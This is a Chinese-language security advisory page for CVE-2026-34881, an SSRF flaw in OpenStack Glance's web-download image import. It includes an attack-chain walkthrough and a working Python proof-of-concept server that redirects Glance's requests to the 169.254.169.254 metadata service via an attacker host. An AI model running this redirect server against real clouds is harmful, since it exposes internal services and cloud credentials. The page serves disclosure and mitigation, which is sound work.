IPBUF安全漏洞报告
English
CVE-2026-34881 CVSS 5.0 中危

CVE-2026-34881 OpenStack Glance SSRF漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34881
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenStack Glance

相关标签

SSRFOpenStackGlance服务器端请求伪造CWE-918

漏洞概述

OpenStack Glance 在 29.1.1、30.1.1 之前及 31.0.0 版本中存在服务器端请求伪造(SSRF)漏洞。由于 HTTP 重定向机制验证不足,已认证的攻击者可利用 glance 镜像导入功能(特别是 web-download 和 glance-download 方法)绕过 URL 验证,将请求重定向至内部服务,从而可能获取敏感信息或对内网发起攻击。

技术细节

该漏洞源于 OpenStack Glance 在处理镜像导入请求时的 URL 验证逻辑缺陷。Glance 提供了 web-download 和 glance-download 等方法允许用户通过 URL 导入镜像。在受影响版本中,Glance 仅对用户提交的初始 URL 进行校验,未严格处理后续的 HTTP 重定向响应。攻击者可构造一个指向外部恶意服务器的 URL,当 Glance 请求该 URL 时,恶意服务器返回指向内部地址(如 http://169.254.169.254/ 或内网 API)的 302 重定向。由于验证步骤已通过,Glance 会跟随重定向请求内部资源,导致 SSRF。此外,默认未启用的 ovf_process 插件同样受影响。利用此漏洞需具备低权限认证身份。

攻击链分析

STEP 1
1. 信息收集
攻击者获取 OpenStack 环境的低权限账户凭证。
STEP 2
2. 武器化
攻击者搭建恶意 HTTP 服务器,配置返回 302 重定向指向内网敏感地址(如 169.254.169.254)。
STEP 3
3. 投递
攻击者通过 Glance API 发起镜像导入请求,Import Method 设置为 web-download,URL 填写恶意服务器地址。
STEP 4
4. 利用
Glance 服务验证初始 URL 合法性后发起请求,收到 302 响应,自动跟随跳转访问内部服务。
STEP 5
5. 影响
攻击者成功探测或获取内网敏感信息(如云平台元数据)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Proof of Concept for CVE-2026-34881 # This script demonstrates a malicious server that redirects requests to internal services. from http.server import HTTPServer, BaseHTTPRequestHandler class MaliciousRedirectHandler(BaseHTTPRequestHandler): def do_GET(self): # Log the incoming request print(f"[+] Request received from: {self.client_address[0]}") # Send a 302 Redirect to an internal service (e.g., metadata service) internal_target = "http://169.254.169.254/latest/meta-data/" self.send_response(302) self.send_header('Location', internal_target) self.end_headers() self.wfile.write(b"Redirecting to internal service...") def run_server(port=80): server_address = ('', port) httpd = HTTPServer(server_address, MaliciousRedirectHandler) print(f"[*] Malicious redirect server listening on port {port}") print(f"[*] Attacker uses this URL in Glance: http://<attacker_ip>:{port}/image.iso") httpd.serve_forever() if __name__ == "__main__": run_server()

影响范围

OpenStack Glance < 29.1.1
OpenStack Glance 30.x < 30.1.1
OpenStack Glance 31.0.0

防御指南

临时缓解措施
临时缓解措施包括严格限制 Glance 服务的网络出站访问,利用安全组或防火墙规则阻断其对云元数据服务(169.254.169.254)及其他内部关键服务的访问。同时,建议暂时禁用 ovf_process 镜像导入插件,并加强对镜像导入请求的审计监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表